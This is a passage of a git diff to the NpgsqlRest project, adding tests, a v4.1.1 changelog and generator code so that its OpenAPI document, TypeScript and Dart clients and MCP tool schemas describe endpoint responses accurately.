"""{"type":"array","items":{"type":"integer","format":"int32"}}""")); + } + + [Fact] + public async Task Raw_is_text_and_not_an_array() + { + (await Answered("/api/oas-shape-raw")).Should().Be("""200 application/json 1,"x" """.TrimEnd()); + Documented("/api/oas-shape-raw").Should().Be(Ok("application/json", """{"type":"string"}""")); + } + + [Fact] + public async Task Bytea_value_is_bytes() + { + (await Answered("/api/oas-shape-bytes")).Should().Be("200 application/octet-stream abc"); + Documented("/api/oas-shape-bytes").Should().Be( + Ok("application/octet-stream", """{"type":"string","format":"binary"}""")); + } + + [Fact] + public async Task Record_without_columns_is_an_array_of_texts() + { + (await Answered("/api/oas-shape-record")).Should().Be("""200 application/json ["1","a"]"""); + Documented("/api/oas-shape-record").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"string"}}""")); + } + + [Fact] + public async Task Json_column_is_any_json() + { + (await Answered("/api/oas-shape-json-column")).Should().Be("""200 application/json [{"id":1,"data":[1,2]}]"""); + Documented("/api/oas-shape-json-column").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"data":{}}}}""")); + } + + [Fact] + public async Task Array_of_composite_values_is_an_array_of_objects() + { + (await Answered("/api/oas-shape-parts")).Should().Be("""200 application/json [{"id":1,"parts":[{"id":10,"label":"x"}]}]"""); + Documented("/api/oas-shape-parts").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"parts":{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"label":{"type":"string"}}}}}}}""")); + } + + [Fact] + public async Task Composite_value_is_its_fields_in_the_row() + { + (await Answered("/api/oas-shape-part-flat")).Should().Be("""200 application/json [{"code":1,"id":10,"label":"x"}]"""); + Documented("/api/oas-shape-part-flat").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"code":{"type":"integer","format":"int32"},"id":{"type":"integer","format":"int32"},"label":{"type":"string"}}}}""")); + } + + [Fact] + public async Task Nested_composite_value_is_an_object_in_the_row() + { + (await Answered("/api/oas-shape-part-nested")).Should().Be("""200 application/json [{"code":1,"part":{"id":10,"label":"x"}}]"""); + Documented("/api/oas-shape-part-nested").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"code":{"type":"integer","format":"int32"},"part":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"label":{"type":"string"}}}}}}""")); + } + + [Fact] + public async Task Table_format_is_the_content_type_of_the_format() + { + (await Answered("/api/oas-shape-html")).Should().StartWith("200 text/html "); + Documented("/api/oas-shape-html").Should().Be(Ok("text/html; charset=utf-8", """{"type":"string"}""")); + } + + [Fact] + public async Task Cache_invalidation_endpoint_says_whether_it_removed_something() + { + (await Answered("/api/oas-shape-cached/invalidate")).Should().Be("""200 application/json {"invalidated":false}"""); + Documented("/api/oas-shape-cached/invalidate").Should().Be( + """{"200":{"description":"Whether a cached response was removed","content":{"application/json":{"schema":{"type":"object","properties":{"invalidated":{"type":"boolean"}}}}}}}"""); + // the cached endpoint itself answers with the routine's rows + Documented("/api/oas-shape-cached").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"name":{"type":"string"}}}}""")); + } + + [Fact] + public async Task Proxy_of_a_routine_that_returns_nothing_is_the_upstream_response() + { + (await Answered("/api/oas-shape-proxy")).Should().Be("200 text/plain x"); + Documented("/api/oas-shape-proxy").Should().Be( + """{"200":{"description":"The response of the upstream service","content":{"*/*":{}}}}"""); + } + + [Fact] + public async Task Content_type_from_a_parameter_is_not_known_in_advance() + { + (await Answered("/api/oas-shape-content-type?type=text/csv")).Should().Be("""200 text/csv 1,"x" """.TrimEnd()); + Documented("/api/oas-shape-content-type").Should().Be( + """{"200":{"description":"Successful response","content":{"*/*":{"schema":{"type":"string"}}}}}"""); + } + + [Fact] + public void Login_body_depends_on_the_authentication_scheme() + { + Documented("/api/oas-shape-login", "post").Should().Be( + """{"200":{"description":"Signed in. The body depends on the authentication scheme","content":{"*/*":{}}}}"""); + } + } +} diff --git a/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs b/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs index 882bae4c..c003514a 100644 --- a/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs +++ b/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs @@ -152,21 +152,21 @@ public void Query_operation_with_its_parameters_in_the_body() public void Query_operation_without_parameters() { Doc32["paths"]!["/api/openapi-q32-no-params"]!.ToJsonString().Should().Be( - """{"query":{"summary":"Function public.openapi_q32_no_params","tags":["public"],"operationId":"public_openapi_q32_no_params_query","responses":{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"string"}}}}}}}"""); + """{"query":{"summary":"Function public.openapi_q32_no_params","tags":["public"],"operationId":"public_openapi_q32_no_params_query","responses":{"200":{"description":"Successful response","content":{"text/plain":{"schema":{"type":"string"}}}}}}}"""); } [Fact] public void Query_operation_with_a_path_parameter() { Doc32["paths"]!["/api/openapi-q32/{_category}/search"]!.ToJsonString().Should().Be( - """{"query":{"summary":"Function public.openapi_q32_in_path","tags":["public"],"operationId":"public_openapi_q32_in_path_query","requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","properties":{"term":{"type":"string"}},"required":["term"]}}}},"parameters":[{"name":"category","in":"path","required":true,"schema":{"type":"integer","format":"int32"}}],"responses":{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"string"}}}}}}}"""); + """{"query":{"summary":"Function public.openapi_q32_in_path","tags":["public"],"operationId":"public_openapi_q32_in_path_query","requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","properties":{"term":{"type":"string"}},"required":["term"]}}}},"parameters":[{"name":"category","in":"path","required":true,"schema":{"type":"integer","format":"int32"}}],"responses":{"200":{"description":"Successful response","content":{"text/plain":{"schema":{"type":"string"}}}}}}}"""); } [Fact] public void Query_operation_with_parameters_in_the_query_string() { Doc32["paths"]!["/api/openapi-q32-query-string"]!.ToJsonString().Should().Be( - """{"query":{"summary":"Function public.openapi_q32_query_string","tags":["public"],"operationId":"public_openapi_q32_query_string_query","parameters":[{"name":"term","in":"query","required":true,"schema":{"type":"string"}}],"responses":{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"string"}}}}}}}"""); + """{"query":{"summary":"Function public.openapi_q32_query_string","tags":["public"],"operationId":"public_openapi_q32_query_string_query","parameters":[{"name":"term","in":"query","required":true,"schema":{"type":"string"}}],"responses":{"200":{"description":"Successful response","content":{"text/plain":{"schema":{"type":"string"}}}}}}}"""); } [Fact] diff --git a/NpgsqlRestTests/SqlFileSourceTests/OpenApiTests/OpenApiSqlFileResponseTests.cs b/NpgsqlRestTests/SqlFileSourceTests/OpenApiTests/OpenApiSqlFileResponseTests.cs new file mode 100644 index 00000000..192e19cf --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/OpenApiTests/OpenApiSqlFileResponseTests.cs @@ -0,0 +1,87 @@ +using System.Text.Json.Nodes; +using NpgsqlRestTests.Setup; + +namespace NpgsqlRestTests.SqlFileSourceTests; + +public static partial class SqlFiles +{ + public static void OpenApiSqlFileResponseTests() + { + // One statement, one row + File.WriteAllText(Path.Combine(Dir, "oas_sf_single.sql"), """ + -- HTTP GET + -- @single + select 1 as id, 'a' as name; + """); + + // Several statements: a single row, a skipped statement, a statement that returns nothing, a set + File.WriteAllText(Path.Combine(Dir, "oas_sf_multi.sql"), """ + -- HTTP POST + -- @single + -- @result thing + select 1 as id, 'a' as name; + -- @skip + select 1; + -- @result changed + update sql_describe_test set active = active where false; + -- @result things + select 2 as id, 'b' as name; + """); + + // Several statements with the void annotation: all are run, nothing is returned + File.WriteAllText(Path.Combine(Dir, "oas_sf_multi_void.sql"), """ + -- HTTP POST + -- @void + select 1 as id; + select 2 as id; + """); + } +} + +// What the OpenAPI document says an SQL file endpoint answers with, next to what the endpoint answers with. +// https://github.com/NpgsqlRest/NpgsqlRest/issues/36 +[Collection("SqlFileSourceFixture")] +public class OpenApiSqlFileResponseTests(SqlFileSourceTestFixture test) +{ + private string Documented(string path, string method) + { + File.Exists(test.OpenApiFile).Should().BeTrue($"Expected file at {test.OpenApiFile}"); + var operation = JsonNode.Parse(File.ReadAllText(test.OpenApiFile))!["paths"]?[path]?[method]; + operation.Should().NotBeNull($"{method} {path} should be documented"); + return operation!["responses"]!.ToJsonString(); + } + + private async Task Answered(string path, string method) + { + using var request = new HttpRequestMessage(new HttpMethod(method), path); + using var response = await test.Client.SendAsync(request); + return $"{(int)response.StatusCode} {response.Content.Headers.ContentType?.MediaType} {await response.Content.ReadAsStringAsync()}"; + } + + private const string Thing = """{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"name":{"type":"string"}}}"""; + + [Fact] + public async Task Single_statement_with_single_is_one_object() + { + (await Answered("/api/oas-sf-single", "GET")).Should().Be("""200 application/json {"id":1,"name":"a"}"""); + Documented("/api/oas-sf-single", "get").Should().Be( + """{"200":{"description":"Successful response","content":{"application/json":{"schema":""" + Thing + "}}}}"); + } + + [Fact] + public async Task Several_statements_are_an_object_with_a_property_for_each() + { + (await Answered("/api/oas-sf-multi", "POST")).Should().Be( + """200 application/json {"thing":{"id":1,"name":"a"},"changed":0,"things":[{"id":2,"name":"b"}]}"""); + Documented("/api/oas-sf-multi", "post").Should().Be( + """{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"object","properties":{"thing":""" + + Thing + ""","changed":{"type":"integer"},"things":{"type":"array","items":""" + Thing + "}}}}}}}"); + } + + [Fact] + public async Task Several_statements_with_void_have_no_body() + { + (await Answered("/api/oas-sf-multi-void", "POST")).Should().Be("204 "); + Documented("/api/oas-sf-multi-void", "post").Should().Be("""{"204":{"description":"No content"}}"""); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/Setup/SqlFileSourceTestFixture.cs b/NpgsqlRestTests/SqlFileSourceTests/Setup/SqlFileSourceTestFixture.cs index 67db469c..431782d1 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/Setup/SqlFileSourceTestFixture.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/Setup/SqlFileSourceTestFixture.cs @@ -32,6 +32,7 @@ public class SqlFileSourceTestFixture : IDisposable public WebApplication App => _app; public string SqlDir => _sqlDir; public string TsClientDir => _tsClientDir; + public string OpenApiFile => Path.Combine(_tsClientDir, "openapi.json"); /// /// Create a fresh HttpClient with its own cookie container (for auth test isolation). @@ -146,6 +147,13 @@ public SqlFileSourceTestFixture() FilePath = Path.Combine(_tsClientDir, "{0}.ts"), BySchema = true, IncludeStatusCode = false, + }), + // The OpenAPI document of the SQL file endpoints (OpenApiSqlFileResponseTests) + new NpgsqlRest.OpenAPI.OpenApi(new NpgsqlRest.OpenAPI.OpenApiOptions + { + FileName = OpenApiFile, + FileOverwrite = true, + AddCurrentServer = false }) ], }); diff --git a/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs b/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs new file mode 100644 index 00000000..c878a4af --- /dev/null +++ b/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs @@ -0,0 +1,199 @@ +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void TsClientResponseShapeTests() + { + script.Append(""" +create schema if not exists tsclient_test; + +create function tsclient_test.shape_raw() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_raw() is ' +tsclient_module=shape +raw +separator ,'; + +create function tsclient_test.shape_void() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_void() is ' +tsclient_module=shape +@void'; + +create function tsclient_test.shape_html() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_html() is ' +tsclient_module=shape +@table_format = html'; + +create function tsclient_test.shape_bytes() returns bytea language sql as $$ select 'abc'::bytea $$; +comment on function tsclient_test.shape_bytes() is ' +tsclient_module=shape'; + +create function tsclient_test.shape_cached() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_cached() is ' +tsclient_module=shape +cached'; +"""); + } + } +} + +namespace NpgsqlRestTests.TsClientTests +{ + // What the generated functions return, for endpoints that do not answer with the routine's rows as JSON. + // https://github.com/NpgsqlRest/NpgsqlRest/issues/36 + [Collection("TestFixture")] + public class ResponseShapeTests + { + private const string Expected = """ +const baseUrl = ""; + +interface ITsclientTestShapeCachedResponse { + a: number | null; + b: string | null; +} + + +/** +* function tsclient_test.shape_bytes() +* returns bytea +* +* @remarks +* comment on function tsclient_test.shape_bytes is 'tsclient_module=shape +* +* @returns {Response} +* +* @see FUNCTION tsclient_test.shape_bytes +*/ +export async function tsclientTestShapeBytes() : Promise { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-bytes", { + method: "POST", + }); + return response; +} + +/** +* function tsclient_test.shape_cached() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_cached is 'tsclient_module=shape +* cached'; +* +* @returns {ITsclientTestShapeCachedResponse[]} +* +* @see FUNCTION tsclient_test.shape_cached +*/ +export async function tsclientTestShapeCached() : Promise { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-cached", { + method: "POST", + headers: { + "Content-Type": "application/json" + }, + }); + return await response.json() as ITsclientTestShapeCachedResponse[]; +} + +/** +* function tsclient_test.shape_cached() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_cached is 'tsclient_module=shape +* cached'; +* +* @returns { invalidated: boolean } +* +* @see FUNCTION tsclient_test.shape_cached +*/ +export async function tsclientTestShapeCachedInvalidate() : Promise<{ invalidated: boolean }> { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-cached/invalidate", { + method: "POST", + }); + return await response.json() as { invalidated: boolean }; +} + +/** +* function tsclient_test.shape_html() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_html is 'tsclient_module=shape +* table_format = html'; +* +* @returns {Response} +* +* @see FUNCTION tsclient_test.shape_html +*/ +export async function tsclientTestShapeHtml() : Promise { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-html", { + method: "POST", + }); + return response; +} + +/** +* function tsclient_test.shape_raw() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_raw is 'tsclient_module=shape +* raw +* separator ,'; +* +* @returns {string} +* +* @see FUNCTION tsclient_test.shape_raw +*/ +export async function tsclientTestShapeRaw() : Promise { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-raw", { + method: "POST", + }); + return await response.text(); +} + +/** +* function tsclient_test.shape_void() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_void is 'tsclient_module=shape +* void'; +* +* @returns {void} +* +* @see FUNCTION tsclient_test.shape_void +*/ +export async function tsclientTestShapeVoid() : Promise { + await fetch(baseUrl + "/api/tsclient-test/shape-void", { + method: "POST", + }); +} + + +"""; + + [Fact] + public void Test_ResponseShape_GeneratedFile() + { + var filePath = Path.Combine(Setup.Program.TsClientOutputPath, "shape.ts"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + + var content = File.ReadAllText(filePath); + content.Should().Be(Expected); + } + } +} diff --git a/changelog/v4.1.1.md b/changelog/v4.1.1.md new file mode 100644 index 00000000..be8460c1 --- /dev/null +++ b/changelog/v4.1.1.md @@ -0,0 +1,92 @@ +# Changelog v4.1.1 + +## Version [4.1.1](https://github.com/NpgsqlRest/NpgsqlRest/tree/4.1.1) (not released yet) + +[Full Changelog](https://github.com/NpgsqlRest/NpgsqlRest/compare/4.1.0...4.1.1) + +Patch release. What the generators say an endpoint answers with now matches what the endpoint answers with: the OpenAPI document, the generated TypeScript and Dart clients, and the MCP tool schemas. Reported in [#36](https://github.com/NpgsqlRest/NpgsqlRest/issues/36) for one case (`@single` in the OpenAPI document). The other cases were found by calling every endpoint of the test suite and comparing each answer with the document. No endpoint answers differently than before, and no configuration key was added or changed. + +**Who should upgrade:** everyone who generates clients from `openapi.json`, and everyone who uses `raw`, `table_format`, `bytea` results, the `void` annotation or cache invalidation endpoints with the generated TypeScript or Dart clients or with MCP tools. + +**After upgrading:** regenerate the OpenAPI document and the clients. The descriptions of some endpoints change (the list is below), so clients generated from them change as well. + +### Fixes + +#### OpenAPI: the described response did not match the response + +The document decided the response from the routine alone and did not look at the endpoint's annotations. Before the fix, 482 of the 1,271 answers of the test suite's endpoints that could be compared were not what the document said. What is left are answers that depend on data (a `NULL` result has no body) and arrays of more than one dimension (the number of dimensions is not part of a PostgreSQL array type). + +| Endpoint | The document said | The endpoint answers with, and the document now says | +|---|---|---| +| `single` on a set of rows ([#36](https://github.com/NpgsqlRest/NpgsqlRest/issues/36)) | an array of objects | one object | +| `single` on a set of values (`returns setof text`) | an array of objects | one value | +| a set of values (`returns setof text`) | an array of objects | an array of values | +| `void` annotation, or a routine that returns nothing | `200` | `204`, no body | +| a single value that is not `json` or an array (`returns text`, `int`, `boolean`...) | `application/json` | `text/plain`; a boolean is `t` or `f` | +| `bytea` | `application/json`, a string | `application/octet-stream` | +| `raw` | an array of objects | a string | +| `table_format` (HTML, Excel) | `application/json`, an array of objects | the content type of the format | +| `json` and `jsonb` values and columns | an object | any JSON value | +| a column that is an array of a composite type | an array of strings | an array of objects with the type's fields | +| `nested` composite columns | the fields of the type as columns of the row | one object under the column name | +| `returns record` | an object | an array of strings | +| SQL files with several statements | the columns of the first statement | an object with a property for each statement: its rows (one object with `single`), or the number of rows it affected | +| cache invalidation endpoint (`InvalidateCacheSuffix`) | the response of the cached endpoint | `{"invalidated": true}` or `{"invalidated": false}` | +| `proxy` with a routine that returns nothing, and `proxy_out` | no body | the response of the upstream service (`*/*`) | +| `login` | the routine's columns | a body that depends on the authentication scheme (`*/*`) | +| a content type taken from a parameter (`Content-Type: {_type}`) | the content type `{_type}` | `*/*` | + +For the function in the report + +```sql +create function api.register_thing() +returns table (thing_id uuid, name text) +language sql +begin atomic + select gen_random_uuid(), 'a'; +end; +comment on function api.register_thing() is ' +@http POST /api/things +@single +Registers a thing.'; +``` + +the response in `openapi.json` was + +```json +"200": { "description": "Successful response", "content": { "application/json": { "schema": { + "type": "array", "items": { "type": "object", "properties": { "thingId": { "type": "string", "format": "uuid" }, "name": { "type": "string" } } } +} } } } +``` + +and is now + +```json +"200": { "description": "Successful response", "content": { "application/json": { "schema": { + "type": "object", "properties": { "thingId": { "type": "string", "format": "uuid" }, "name": { "type": "string" } } +} } } } +``` + +#### TypeScript and Dart clients: functions that read the wrong kind of response + +- **`raw`.** The function read the response as JSON (`response.json()`, `jsonDecode`) and failed, because a `raw` endpoint answers with text. It now returns the text (`string`, `String`). +- **`table_format` and `bytea`.** The function read an HTML table or an Excel file as JSON, and bytes as text. It now returns the response itself (`Response`, `http.Response`), as functions of proxy endpoints do, so the caller reads it as text or as bytes. +- **Cache invalidation endpoints.** The function was typed as the cached endpoint's response. It now returns `{ invalidated: boolean }` (`Map` in Dart). It is also written to the same module as the function of the cached endpoint, and the other `tsclient_...` and `dartclient_...` annotations of that endpoint apply to it. Before, they did not, and the function went to the default module. +- **Dart, `void` annotation.** The function read a body from an endpoint that answers `204` without one. The TypeScript client was already correct. + +#### MCP: `outputSchema` and `structuredContent` for four return shapes + +- **A set with one named column** (`returns table (val text)`): the schema said `items` are values, and they are objects (`{"val": ...}`). +- **`single` on a set with one named column:** the row was wrapped as text (`{"value": "{\"val\":\"a\"}"}`). It is now the object itself (`{"val": "a"}`). +- **`single` on a set of values:** a text value kept its JSON quotes (`{"value": "\"a\""}`). It is now the value (`{"value": "a"}`). +- **`void` annotation:** the tool declared an `outputSchema` and returned no `structuredContent`. It now declares none. + +### For plugin authors + +`RoutineEndpoint.GetResponseKind(NpgsqlRestOptions?)` returns what kind of response an endpoint gives (`EndpointResponseKind`: `Routine`, `NoContent`, `RawText`, `Binary`, `TableFormat`, `Upstream`, `CacheInvalidation`). The four generators above now use it instead of each deciding on its own, which is how they came to disagree. A custom `IEndpointCreateHandler` that describes responses should use it as well. + +### Not changed, found on the way + +- A `money` column in a set of rows is written without quotes (`"price":$1.00`), which is not valid JSON. +- A `raw` endpoint with no content type set answers with the content type `application/json`. The document now describes its body as a string under that content type. +- The cache invalidation endpoint of an endpoint that is hidden from the document (`openapi hide`) is still in the document. diff --git a/plugins/NpgsqlRest.DartClient/DartClient.cs b/plugins/NpgsqlRest.DartClient/DartClient.cs index 0fe00906..1406636e 100644 --- a/plugins/NpgsqlRest.DartClient/DartClient.cs +++ b/plugins/NpgsqlRest.DartClient/DartClient.cs @@ -396,7 +396,9 @@ bool Handle(RoutineEndpoint endpoint) var routineType = routine.Type; var paramCount = routine.ParamCount; - var isVoid = routine.IsVoid; + // endpoint.Void: the void annotation. The endpoint answers 204 with no body whatever the routine + // returns, so the client function must not read a body from it. + var isVoid = routine.IsVoid || endpoint.Void; var returnsSet = routine.ReturnsSet; var columnCount = routine.ColumnCount; var returnsRecordType = routine.ReturnsRecordType; @@ -511,14 +513,31 @@ bool Handle(RoutineEndpoint endpoint) // to upstream). Void proxy pass-through likewise. There is no typed Dart shape for those, // so the generated function returns http.Response directly. Transform proxies (non-void // @proxy routines) return processed data and fall through to normal handling. - if ((endpoint.IsProxyOut || (endpoint.IsProxy && routine.IsVoid)) && !urlOnly) + // What the endpoint answers with is decided in one place for all generators (GetResponseKind). The same + // goes for rows in a table format (an HTML table, an Excel file) and for bytes (bytea). + var responseKind = endpoint.Login || endpoint.Logout + ? EndpointResponseKind.Routine + : endpoint.GetResponseKind(_npgsqlRestoptions); + if (responseKind is EndpointResponseKind.Upstream or EndpointResponseKind.TableFormat or EndpointResponseKind.Binary && !urlOnly) { responseIsRaw = true; includeStatusCode = false; responseName = "http.Response"; payloadLines = ["response"]; } - else if (routine.IsMultiCommand && routine.MultiCommandInfo is not null && !urlOnly) + else if (responseKind == EndpointResponseKind.CacheInvalidation && !urlOnly) + { + // the cache invalidation endpoint of a cached endpoint: {"invalidated": true|false}; the routine is not run + responseName = "Map"; + payloadLines = [$"{JsonDecodeExpr} as Map"]; + } + else if (responseKind == EndpointResponseKind.RawText && !urlOnly) + { + // the raw annotation: the values as text, not JSON + responseName = "String"; + payloadLines = ["utf8.decode(response.bodyBytes)"]; + } + else if (routine.IsMultiCommand && routine.MultiCommandInfo is not null && !urlOnly && !endpoint.Void) { // Multi-command SQL file: generate response class with one field per command result List mcFields = []; diff --git a/plugins/NpgsqlRest.Mcp/McpServer.cs b/plugins/NpgsqlRest.Mcp/McpServer.cs index 577568b3..ff80598a 100644 --- a/plugins/NpgsqlRest.Mcp/McpServer.cs +++ b/plugins/NpgsqlRest.Mcp/McpServer.cs @@ -476,65 +476,105 @@ private async Task HandleToolCallAsync(HttpContext context, JsonNode? request, J private static JsonObject? BuildStructuredContent(RoutineEndpoint endpoint, string? body) { var routine = endpoint.Routine; - if (routine.IsVoid || string.IsNullOrWhiteSpace(body)) + if (string.IsNullOrWhiteSpace(body)) { return null; } - // A set returns a JSON array → wrap as { "items": [...] }. (`single` collapses a set to one row.) - if (routine.ReturnsSet && !endpoint.ReturnSingleRecord) + switch (ShapeOf(endpoint)) { - return TryParseJson(body) switch - { - JsonArray array => new JsonObject { ["items"] = array }, + case OutputShape.Items: + // A set returns a JSON array → wrap as { "items": [...] }. + return TryParseJson(body) is JsonArray array ? new JsonObject { ["items"] = array } : null; + case OutputShape.Results: // A multi-command SQL file returns an object keyed per result set ({ "result1": [...], … }) — // already a valid structuredContent object. - JsonObject obj => obj, - _ => null, - }; - } - - // A single scalar value → { "value": ... }; a single record/composite → the object itself. - if (routine.ColumnCount == 1 && !routine.ReturnsRecordType) - { - var type = routine.ColumnsTypeDescriptor.Length > 0 ? routine.ColumnsTypeDescriptor[0] : null; - return new JsonObject { ["value"] = ScalarValue(body, type) }; + return TryParseJson(body) as JsonObject; + case OutputShape.Value: + // One value. A routine returning a single value answers with it as text; one row of a set of + // values (`single`) answers with it as JSON. + if (routine.ReturnsSet || routine.ReturnsRecordType) + { + return new JsonObject { ["value"] = TryParseJson(body) ?? JsonValue.Create(body) }; + } + var type = routine.ColumnsTypeDescriptor.Length > 0 ? routine.ColumnsTypeDescriptor[0] : null; + return new JsonObject { ["value"] = ScalarValue(body, type) }; + case OutputShape.Record: + return TryParseJson(body) as JsonObject; + default: + return null; } + } - return TryParseJson(body) as JsonObject; + /// The shape of a tool's structuredContent: decided once, for the result and for its schema. + private enum OutputShape + { + /// Nothing to structure: no body, text that is not JSON, bytes, another service's response. + None, + /// { "items": [ … ] }: a set of rows or values. + Items, + /// { "value": … }: one value. + Value, + /// The object itself: one row. + Record, + /// The object itself: a property for each statement of a multi-command SQL file. + Results } /// - /// Builds the tool's outputSchema (declared in tools/list) describing the structuredContent it - /// returns. Mirrors 's shape decisions exactly so results always - /// conform (MCP 2025-11-25: when an outputSchema is provided, results MUST conform). Returns null for - /// void/raw routines (which emit no structuredContent). Leaf value schemas allow null (PG columns are - /// nullable); array/json/composite columns use a permissive schema so conformance is guaranteed. + /// The same decisions as the request handling makes (see RoutineEndpoint.GetResponseKind): the `void` + /// annotation means no body whatever the routine returns, `single` means one row and not an array, and a set + /// with one named column is a set of objects - only a set of unnamed values is a set of values. /// - private static JsonObject? BuildOutputSchema(RoutineEndpoint endpoint) + private static OutputShape ShapeOf(RoutineEndpoint endpoint) { var routine = endpoint.Routine; - // No schema for void/raw, or for a multi-command SQL file (its per-result-set object shape, e.g. - // { "result1": […], "result2": […] }, can't be derived from the single-set column metadata). - if (routine.IsVoid || endpoint.Raw || routine.IsMultiCommand) + if (endpoint.GetResponseKind() != EndpointResponseKind.Routine + || endpoint.CustomParameters?.ContainsKey("table_format") is true) { - return null; + return OutputShape.None; + } + if (routine.IsMultiCommand) + { + return OutputShape.Results; } - if (routine.ReturnsSet && !endpoint.ReturnSingleRecord) { - var element = routine.ColumnCount == 1 && !routine.ReturnsRecordType - ? NullableValueSchema(ColumnType(routine, 0)) // set of scalar values - : RecordSchema(routine); // set of rows - return ObjectSchema("items", new JsonObject { ["type"] = "array", ["items"] = element }); + return OutputShape.Items; } - - if (routine.ColumnCount == 1 && !routine.ReturnsRecordType) + if (routine.ReturnsUnnamedSet || (routine.ReturnsSet is false && routine.ColumnCount == 1 && !routine.ReturnsRecordType)) { - return ObjectSchema("value", NullableValueSchema(ColumnType(routine, 0))); + return OutputShape.Value; } + return OutputShape.Record; + } - return RecordSchema(routine); + /// + /// Builds the tool's outputSchema (declared in tools/list) describing the structuredContent it + /// returns. Uses the same shape decision as () so + /// results always conform (MCP 2025-11-25: when an outputSchema is provided, results MUST conform). Returns + /// null for routines that emit no structuredContent (void, raw...) and for a multi-command SQL file (its + /// per-result-set object shape, e.g. { "result1": […], "result2": […] }, is not derived from the single-set + /// column metadata). Leaf value schemas allow null (PG columns are nullable); array/json/composite columns + /// use a permissive schema so conformance is guaranteed. + /// + private static JsonObject? BuildOutputSchema(RoutineEndpoint endpoint) + { + var routine = endpoint.Routine; + switch (ShapeOf(endpoint)) + { + case OutputShape.Items: + var element = routine.ReturnsUnnamedSet + ? NullableValueSchema(ColumnType(routine, 0)) // set of values + : RecordSchema(routine); // set of rows + return ObjectSchema("items", new JsonObject { ["type"] = "array", ["items"] = element }); + case OutputShape.Value: + return ObjectSchema("value", NullableValueSchema(ColumnType(routine, 0))); + case OutputShape.Record: + return RecordSchema(routine); + default: + return null; + } } private static JsonObject ObjectSchema(string property, JsonNode propertySchema) => new() @@ -562,7 +602,8 @@ private static JsonObject RecordSchema(Routine routine) /// private static JsonNode NullableValueSchema(TypeDescriptor? type) { - if (type is null || type.IsArray || type.IsJson || type.IsCompositeType) + // (a record with no declared columns is written as an array of its values) + if (type is null || type.IsArray || type.IsJson || type.IsCompositeType || type.Type == "record") { return new JsonObject(); } diff --git a/plugins/NpgsqlRest.OpenApi/OpenApi.cs b/plugins/NpgsqlRest.OpenApi/OpenApi.cs index 11b9b7bb..29a5d629 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApi.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApi.cs @@ -55,6 +55,7 @@ internal static string ResolveSpecVersion(string? specVersion) } private IApplicationBuilder _builder = default!; + private NpgsqlRestOptions? _options; private JsonObject _document = default!; private JsonObject _paths = default!; // For tools (EndpointReport): the operation id written for each endpoint. @@ -69,6 +70,7 @@ internal static string ResolveSpecVersion(string? specVersion) public void Setup(IApplicationBuilder builder, NpgsqlRestOptions options) { _builder = builder; + _options = options; // Initialize OpenAPI document structure var info = new JsonObject @@ -448,43 +450,9 @@ public void Handle(RoutineEndpoint endpoint) } } - // Add responses - var responses = new JsonObject - { - ["200"] = new JsonObject - { - ["description"] = "Successful response" - } - }; - - // Add response content if not void - if (!endpoint.Routine.IsVoid) - { - var responseContent = new JsonObject(); - var contentType = endpoint.ResponseContentType ?? "application/json"; - - if (contentType.Contains("json", StringComparison.OrdinalIgnoreCase)) - { - var responseSchema = GetResponseSchema(endpoint.Routine); - responseContent[contentType] = new JsonObject - { - ["schema"] = responseSchema - }; - } - else - { - // For non-JSON responses - responseContent[contentType] = new JsonObject - { - ["schema"] = new JsonObject - { - ["type"] = "string" - } - }; - } - - (responses["200"] as JsonObject)!["content"] = responseContent; - } + // The response: what the endpoint answers with (see OpenApiResponse) + var (status, response) = OpenApiResponse.Describe(endpoint, _options); + var responses = new JsonObject { [status] = response }; operation["responses"] = responses; @@ -659,59 +627,6 @@ public void Cleanup() } } - private JsonObject GetResponseSchema(Routine routine) - { - if (routine.ReturnsSet) - { - // Returns array of objects - var itemSchema = new JsonObject - { - ["type"] = "object", - ["properties"] 